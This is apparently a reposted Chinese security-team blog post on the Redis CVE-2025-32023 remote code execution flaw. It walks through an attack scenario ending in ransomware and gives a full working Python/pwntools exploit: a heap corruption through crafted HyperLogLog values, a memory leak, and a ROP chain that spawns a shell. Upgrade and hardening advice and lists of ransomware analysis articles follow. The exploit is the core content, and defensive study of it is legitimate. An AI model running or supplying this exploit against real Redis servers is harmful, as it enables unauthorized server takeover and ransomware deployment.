文章总结: RedisCVE-2025-32023是一个高危RCE漏洞,攻击者可通过未授权访问获取服务器权限并投放勒索病毒。文章详细展示了攻击路线图和攻击复现过程,提供了完整的攻击代码。防范措施包括升级到修复版本(8.0.3+、7.4.5+、7.2.10+、6.2.19+)、限制网络访问、启用身份认证和绑定选项、监控异常命令以及关闭未使用模块。一旦发现异常访问,应立即隔离受影响实例并进行全面安全扫描。
综合评分: 85
文章分类: 漏洞分析,漏洞预警,应急响应,网络安全,数据安全
【漏洞与预防】Redis CVE-2025-32023 RCE漏洞验证与预防
原创
solarsec
solar应急响应团队
2025年9月2日 15:27
山东
1.引言
在当前网络威胁形势下,攻击者常常利用互联网资产测绘与漏洞扫描,快速定位暴露在公网的高危服务。以 Redis 未授权访问为例,攻击者往往能够在极短时间内完成入侵,从信息收集到投放勒索病毒,形成一条完整的攻击链。以下场景展示了典型的 Redis 未授权访问被利用后,企业可能面临的勒索攻击过程。
2.场景还原
2.1 场景设置
攻击者在互联网资产测绘中发现目标企业存在 Redis 未授权访问漏洞,通过验证确认可以直接连接数据库。随后,攻击者在本地搭建相同版本 Redis 环境,利用漏洞脚本成功写入后门,并获取目标服务器的 Shell 权限。在取得控制权后,攻击者迅速投放勒索病毒,对服务器关键文件进行加密,并最终留下勒索信息,要求受害者支付赎金。
2.2 攻击路线图
2.3 攻击复现
黑客通过资产测绘搜索未授权访问redis,并获取其对应版本
黑客下载对应版本的redis-server。
wget https://download.redis.io/releases/redis-7.4.2.tar.gz
tar xzf redis-7.4.2.tar.gz
cd redis-7.4.2
make
黑客利用漏洞进行攻击,获取服务器权限。
python solver-f0b22e429fa6c984f39a409744ff954d3a45d843edd29428ef3a68085d696a7d.py
#!/usr/bin/env python3
from pwn import *
import redis
import random
import string
HOST, PORT = 'localhost', 6379
binary = ELF('./redis-server')
# client to send redis commands
r = redis.Redis(HOST, PORT)
# client to pop shell
p = remote(HOST, PORT)
p.sendline('client info')
p.recvuntil('fd=')
fd = int(p.recvline().split()[0])
log.info(f'{fd = }')
HLL_DENSE = 0
HLL_SPARSE = 1
HLL_DENSE_SIZE = 0x3010
# make a dense hll, which is just a string with specific encodings
pl = b'HYLL'
pl += p8(HLL_DENSE)
pl = pl.ljust(HLL_DENSE_SIZE, p8(0))
r.set('hll:dense', pl)
# assert that the hll encoding is valid
r.pfadd('hll:dense')
# make a malformed sparse hll, again just a string
def xzero(sz):
assert 1 <= sz <= 0x4000
sz -= 1
return p8(0b01_000000 | (sz >> 8)) + p8(sz & 0xff)
pl = b'HYLL'
pl += p8(HLL_SPARSE) + p8(0)*3
pl += p8(0)*8
assert len(pl) == 0x10
pl += xzero(0x4000) * 0x3fffd # -0xc000
pl += xzero(0xc000 - 0x956c) # -0x956c, where divmod(-0x956c*6, 8) = (-0x7011, 0)
pl += p8(0b1_00011_00) # runlen = 1, regval = 4 = SDS_TYPE_64 => -0x956b, overwrite sds:b type
pl += xzero(0x156b) # -0x8000
pl += xzero(0x4000) * 3 # 0x4000
r.set('hll:exp', pl)
# prep 14KiB sds
fakelen = 0x4142434445464748
r.setrange('sds:a', 0x37fa - 11, p64(fakelen)) # sds @ 0x0005, p64() 00 00 00 00
r.setrange('sds:b', 0x37fa - 8, b'B'*8) # sds @ 0x3805, ................. fa 37 fa 37 02 ~
r.setrange('sds:c', 0x37fa - 8, b'C'*8) # sds @ 0x7005
# trigger hllMerge + hllSparseToDense
# alloc 0x3010 => round 0x3800 (14KiB)
r.pfmerge('hll:exp', 'hll:dense') # sds @ 0xa805
# assert that string type is modified
assert r.strlen('sds:b') == fakelen
# spray embstr objects
marker = ''.join(random.choices(string.ascii_letters + string.digits, k=8)).encode()
log.info(f'{marker = }')
spray_cnt = 0x100000 // 0x40
for i in range(spray_cnt // 0x400): # batch spray with mset
ms = {}
for j in range(0x400):
idx = i * 0x400 + j
ms[f'sds:_{idx}'] = (marker+p64(idx)).ljust(0x2b, b' ')
r.mset(ms)
# dump the heap!
dump = r.getrange('sds:b', 0, 0x100000)[3:]
# egghunt valid embstr object
mark = 0x3700
while mark < len(dump):
mark = dump.find(marker, mark)
assert mark != -1
tofs = mark - 3 - 0x10
# assert type|encoding, refcount, sdshdr8 fields
if dump[tofs] == 0x80 and u32(dump[tofs+4:tofs+8]) == 0x1 and dump[tofs+0x10:tofs+0x13] == b'\x2b\x2b\x01':
break
mark += 8
else:
assert False, '[!] embstr spray egghunt fail'
# target robj
tadr = u64(dump[tofs+8:tofs+0x10]) - 3 - 0x10
tkey = f'sds:_{u64(dump[tofs+3+0x18:tofs+3+0x20])}'
log.success(f'{tofs = :#x} ({tkey = })')
log.success(f'{tadr = :#014x}')
# sds:b header
badr = tadr - tofs - 8
log.info(f'{badr = :#014x}')
# egghunt redis-server base
egg = binary.sym['je_ehooks_default_extent_hooks'] & 0xfff
for i in range(0x10000 - ((badr + 8) & 0xffff), len(dump), 0x10000):
if u64(dump[i:i+8]) == 0x200000 and (u64(dump[i+0xc8:i+0xd0]) & 0xfff) == egg and (u64(dump[i+0xd8:i+0xe0]) & 0xfff) == egg:
binary.address = u64(dump[i+0xc8:i+0xd0]) - binary.sym['je_ehooks_default_extent_hooks']
break
else:
assert False, '[!] redis-server base egghunt fail'
assert (binary.address & 0xfff) == 0
log.success(f'{binary.address = :#014x}')
# fake module object
pl = p8(0x05) + dump[tofs+1:tofs+4] # type, encoding, lru
pl += p32(1) # refcount
pl += p64(badr + 0x10) # ptr
r.setrange('sds:b', tofs+3, pl)
'''
0x001b9991: mov rax, rdi; mov rsi, [rdi+8]; mov rdi, [rdi]; mov rbp, rsp; call qword ptr [rax+0x10];
0x00226097: mov rbp, rdi; mov esi, 0x10; mov edi, 1; call qword ptr [rax+8];
0x001410ec: leave; ret;
0x002d6706: pop rdi; ret;
0x002d5cfb: pop rsi; ret;
0x000fc472: pop rdx; ret;
'''
# fake module value (badr + 0x10)
B = binary.address
PRDI = B+0x002d6706
PRSI = B+0x002d5cfb
PRDX = B+0x000fc472
# badr + 0x10
pl = p64(badr + 0x20 - 7*8) # mv->type
pl += p64(badr + 0x2010) # mv->value (rdi)
pl += p64(B + 0x001b9991) # mv->type->free (rip), gadget #0
pl = pl.ljust(0x1000, b'\0')
# badr + 0x1010
pl += b'/bin/sh\0' # 0x1010
pl += p64(badr + 0x1010) # 0x1018
pl += p64(0) # 0x1020
pl = pl.ljust(0x2000, b'\0')
# badr + 0x2010 (=rdi)
pl += p64(badr + 0x2028) # [rdi], rbp to set
pl += p64(B + 0x001410ec) # [rax+8], gadget #2
pl += p64(B + 0x00226097) # [rax+8], gadget #1
pl += p64(0) # popped rbp
# ret, ROP starts here
# FD_CLOEXEC is dropped on dup2 newfd
pl += p64(PRDI) + p64(fd) + p64(PRSI) + p64(0) + p64(binary.plt['dup2'])
pl += p64(PRDI) + p64(fd) + p64(PRSI) + p64(1) + p64(binary.plt['dup2'])
pl += p64(PRDI) + p64(fd) + p64(PRSI) + p64(2) + p64(binary.plt['dup2'])
pl += p64(PRDI) + p64(badr + 0x1010)
pl += p64(PRSI) + p64(badr + 0x1018)
pl += p64(PRDX) + p64(0)
pl += p64(binary.plt['execve'])
r.setrange('sds:b', 3+8, pl)
r.close()
del r
# trigger module free!
p.sendline(f'set {tkey} 0')
p.interactive()
之后黑客投放勒索病毒并加密服务器。
3.防范措施
3.1 升级与修复
及时升级到官方已修复版本:
Redis 8.0.3+
Redis 7.4.5+
Redis 7.2.10+
Redis 6.2.19+
在升级过程中,应同步验证配置文件,确保安全选项生效。
3.2 配置与访问控制(临时缓解措施)
限制网络访问范围:通过防火墙或安全组策略,禁止 Redis 对公网开放,仅允许可信内网访问。
启用身份认证:在 redis.conf 中设置强口令,并结合 Access Control List (ACL) 细化用户权限。
启用绑定选项:在配置中设置 bind 127.0.0.1 或指定受信任的内网 IP,避免任意外部主机连接。
监控与告警:持续监控异常命令调用(如 HyperLogLog 相关命令被频繁触发)。关注异常连接数和未授权访问日志,结合 SIEM 平台建立告警策略。
最小化暴露面:关闭未使用的模块与命令(如 CONFIG、MODULE),减少攻击面。
3.3 应急处置建议
一旦发现 Redis 被异常访问,应立即下线或隔离受影响实例。检查 Redis 目录及系统定时任务,清理可能被写入的后门文件。对服务器进行全面安全扫描和取证,排查潜在的入侵痕迹。
4.参考文章
https://github.com/leesh3288/CVE-2025-32023
以下是solar安全团队近期处理过的常见勒索病毒后缀:
| | | |
| — | — | — |
| 收录时间 | 病毒家族 | 相关文章 |
| 2025/01/14 | medusalocker | 【病毒分析】深入剖析MedusaLocker勒索家族:从密钥生成到文件加密的全链路解析 |
| 2025/01/15 | medusa | 【病毒分析】“美杜莎”勒索家族:从入侵到结束的全流程深度解析 |
| 2024/12/11 | weaxor | 【病毒分析】新崛起的weaxor勒索家族:疑似mallox家族衍生版,深度解析两者关联! |
| 2024/10/23 | RansomHub | 【病毒分析】Ransom Hub:唯一不攻击中国的2024全球Top1勒索家族——ESXi加密器深度解析 |
| 2024/11/23 | Fx9 | 【病毒分析】Fx9家族首次现身!使用中文勒索信,熟练勒索谈判 |
| 2024/11/04 | Makop | 【病毒分析】揭秘.mkp后缀勒索病毒!Makop家族变种如何进行可视化加密? |
| 2024/06/26 | moneyistime | 【病毒分析】使用中文勒索信及沟通:MoneyIsTime 勒索家族的本地化语言转变及其样本分析 |
| 2024/04/11 | babyk | 【病毒分析】BabyK加密器分析-Windows篇 【病毒分析】Babyk加密器分析-NAS篇 【病毒分析】Babyk加密器分析-EXSI篇 【病毒分析】Babuk家族babyk勒索病毒分析 【成功案例】利用多款国产内网渗透工具勒索数十台虚拟机的babyk解密恢复项目 |
| 2024/09/29 | lol | 【病毒分析】全网首发!全面剖析.LOL勒索病毒,无需缴纳赎金,破解方案敬请期待下篇! 【工具分享】.LOL勒索病毒再也不怕!完整破解教程分享+免费恢复工具首发 |
| 2024/06/10 | MBRlock | 【病毒分析】假冒游戏陷阱:揭秘MBRlock勒索病毒及其修复方法 |
| 2024/06/01 | Rast gang | 【病毒分析】Steloj勒索病毒分析 |
| 2024/06/01 | TargetOwner | 【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭? |
| 2024/11/02 | Lockbit 3.0 | 【病毒分析】Lockbit家族Lockbit 3.0加密器分析 【成功案例】RDP暴露引发的蝴蝶效应:LockBit组织利用MSF工具及永恒之蓝漏洞进行勒索入侵 【成功案例】lockbit家族百万赎金不必付!技术手段修复被加密的数据库,附溯源分析报告 【病毒分析】繁体勒索信暗藏玄机!要价50万RMB赎金的Lockbit泄露版分析 |
| 2024/05/15 | wormhole | 【病毒分析】Wormhole勒索病毒分析 |
| 2024/03/20 | tellyouthepass | 【病毒分析】locked勒索病毒分析 【病毒分析】中国人不骗中国人?_locked勒索病毒分析 |
| 2024/03/01 | lvt | 【病毒分析】交了赎金也无法恢复–针对国内某知名NAS的LVT勒索病毒最新分析 |
| 2024/03/04 | phobos | 【病毒分析】phobos家族2700变种加密器分析报告 【成功案例】某集团公司的Phobos最新变种勒索病毒2700解密恢复项目 【病毒分析】phobos家族faust变种加密器分析 【成功案例】某集团公司的Phobos最新变种勒索病毒jopanaxye解密恢复项目 【病毒分析】phobos家族Elbie变种加密器分析报告 |
| 2024/03/28 | DevicData | 【病毒分析】DevicData勒索病毒分析 【病毒分析】DevicData家族扩散:全球企业和机构成为勒索病毒头号攻击目标! |
| 2024/02/27 | live | 【病毒分析】独家揭秘LIVE勒索病毒家族之1.0(全版本可解密) 【病毒分析】独家揭秘LIVE勒索病毒家族之1.5(全版本可解密) 【病毒分析】独家揭秘LIVE勒索病毒家族之2.0(全版本可解密) |
| 2024/08/16 | CryptoBytes | 【独家破解】揭秘境外黑客组织的20美元锁机病毒:深度逆向分析+破解攻略!赎金?给你付个🥚 |
| 2024/03/15 | mallox | 【病毒分析】mallox家族malloxx变种加密器分析报告 【病毒分析】Mallox勒索家族新版本:加密算法全面解析 【病毒分析】全网首发!袭扰国内top1勒索病毒家族Mallox家族破解思路及技术分享 【成功案例】间隔数月双团伙先后利用某ERP0day实施入侵和勒索的解密恢复项目 【病毒分析】mallox家族rmallox变种加密器分析报告 【病毒分析】Mallox家族再进化:首次瞄准Linux,勒索新版本全面揭秘! |
| 2024/07/25 | BeijngCrypt | 【病毒分析】全网首发!以国内某安全厂商名字为后缀的勒索病毒分析 |
| 2025/03/11 | 银狐 | 【病毒分析】潜伏在AI工具中的幽灵:银狐家族社工攻击的深度剖析 |
| 2025/03/07 | CTF赛题 | 【病毒分析】伪造微软官网+勒索加密+支付威胁,CTF中勒索病毒解密题目真实还原! 【病毒分析】2024年网鼎杯朱雀组REVERSE02——关于勒索木马解密详解 |
| 2025/05/14 | 888 | 【病毒分析】888勒索家族再出手!幕后加密器深度剖析 |
| 2025/06/13 | LockBit4.0 | 【病毒分析】缴纳了巨额赎金依旧无法解密?最新LockBit4.0解密器分析 【病毒分析】LockBit 4.0 vs 3.0:技术升级还是品牌续命?最新LockBit 4.0分析报告 |
勒索攻击作为成熟的攻击手段,很多勒索家族已经形成了一套完整的商业体系,并且分支了很多团伙组织,导致勒索病毒迭代了多个版本。而每个家族擅用的攻击手法皆有不同,TellYouThePass勒索软件家族常常利用系统漏洞进行攻击;Phobos勒索软件家族通过RDP暴力破解进行勒索;Mallox勒索软件家族利用数据库及暴力破解进行加密,攻击手法极多防不胜防。
| | |
| — | — |
| 收录时间 | 相关文章 |
| 2024/12/12 | 【攻击手法分析】勒索病毒如何轻松绕过安全设备防线:第二篇-流量致盲,无声突破 |
| 2024/12/11 | 【攻击手法分析】勒索病毒如何轻松绕过安全设备防线:第一篇-驱动漏洞一击致命 |
而最好的预防方法就是针对自身业务进行定期的基线加固、补丁更新及数据备份,在其基础上加强公司安全人员意识。
| | |
| — | — |
| 收录时间 | 相关文章 |
| 2024/06/27 | 【教程分享】勒索病毒来袭!教你如何做好数据防护 |
| 2024/06/24 | 【教程分享】服务器数据文件备份教程 |
案例介绍篇聚焦于真实的攻击事件,还原病毒家族的攻击路径和策略,为用户提供详细的溯源分析和防护启示;
| | |
| — | — |
| 收录时间 | 相关文章 |
| 2024/06/27 | 【案例介绍】赎金提高,防御失效:某上市企业两年内两度陷入同一勒索团伙之手 |
| 2024/01/26 | 【成功案例】某集团公司的Phobos最新变种勒索病毒jopanaxye解密恢复项目 |
| 2024-03-13 | 【成功案例】某集团公司的Phobos最新变种勒索病毒2700解密恢复项目 |
| 2024-04-01 | 【成功案例】间隔数月双团伙先后利用某ERP0day实施入侵和勒索的解密恢复项目 |
| 2024-04-26 | 【成功案例】利用多款国产内网渗透工具勒索数十台虚拟机的babyk解密恢复项目 |
| 2024-05-17 | 【成功案例】RDP暴露引发的蝴蝶效应:LockBit组织利用MSF工具及永恒之蓝漏洞进行勒索入侵 |
| 2024-11-28 | 【成功案例】lockbit家族百万赎金不必付!技术手段修复被加密的数据库,附溯源分析报告 |
漏洞与预防篇侧重于技术层面的防御手段,针对病毒利用的漏洞和安全弱点,提出操作性强的应对方案:
| | |
| — | — |
| 收录时间 | 相关文章 |
| 2025/01/08 | 【漏洞与预防】RDP弱口令漏洞预防 |
| 2025/01/21 | 【漏洞与预防】MSSQL数据库弱口令漏洞预防 |
| 2025/02/18 | 【漏洞与预防】远程代码执行漏洞预防 |
| 2025/04/10 | 【漏洞与预防】Atlassian Confluence存在远程代码执行漏洞 |
| 2025/04/17 | 【漏洞与预防】畅捷通文件上传漏洞预防 |
| 2025/05/27 | 【漏洞与预防】Microsoft Windows 文件资源管理器欺骗漏洞预防 |
应急响应工具教程篇重点分享应急响应过程中常用工具的安装、配置与使用说明,旨在帮助读者快速掌握这些工具的操作流程与技巧,提高其在实际应急场景中的应用熟练度与效率。
| | |
| — | — |
| 收录时间 | 相关文章 |
| 2025/01/10 | 【应急响应工具教程】Splunk安装与使用 |
| 2025/02/07 | 【应急响应工具教程】取证工具-Volatility安装与使用 |
| 2025/02/20 | 【应急响应工具教程】流量嗅探工具-Tcpdump |
| 2025/02/26 | 【应急响应工具教程】一款精准搜索文件夹内容的工具–FileSeek |
| 2025/03/03 | 【应急响应工具教程】一款自动化分析网络安全应急响应工具–FindAll |
| 2025/03/13 | 【应急响应工具教程】Windows 系统操作历史监控与审计工具-LastActivityView |
| 2025/03/20 | 【应急响应工具教程】镜像取证之挂载镜像——Arsenal Image Mounter |
| 2025/04/03 | 【应急响应工具教程】Windows 系统综合排查工具Hawkeye |
| 2025/04/08 | 【应急响应工具教程】Linux下应急响应工具whohk |
| 2025/05/15 | 【应急响应工具教程】Windows日志快速分析工具——Chainsaw |
| 2025/06/05 | 【应急响应工具教程】Logman 系统性能与日志采集工具 |
| 2025/07/02 | 【应急响应工具教程】QDoctor应急响应神器:一键检测系统安全 |
| 2025/07/08 | 【应急响应工具教程】Linux应急响应工具集:一键式安全评估与可视化报告系统 |
| 2025/07/23 | 【应急响应工具教程】司稽(Whoamifuck):纯Shell打造的Linux应急响应利器 |
| 2025/08/05 | 【应急响应工具教程】主机侧Checklist的自动全面化检测脚本-GScan |
| 2025/08/19 | 【应急响应工具教程】SPECTR3:通过便携式 iSCSI 实现远程证据的只读获取与分析 |
如果您想了解有关勒索病毒的最新发展情况,或者需要获取相关帮助,请关注“solar专业应急响应团队”。
全国热线| 400-613-6816
更多资讯| 扫码加入群组交流
喜欢此内容的人还喜欢
【紧急警示】Weaxor最新变种“.wxx”来袭,批量入国内知名财务类管理系统发起勒索攻击!
索勒安全团队
【紧急通告】Outlook公布高危漏洞CVE‑2025‑47176,攻击者可远程执行代码!
索勒安全团队
【应急响应工具教程】Linux应急响应工具集:一键式安全评估与可视化报告系统 索勒安全团队
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:solar应急响应团队 solarsec《【漏洞与预防】Redis CVE-2025-32023 RCE漏洞验证与预防》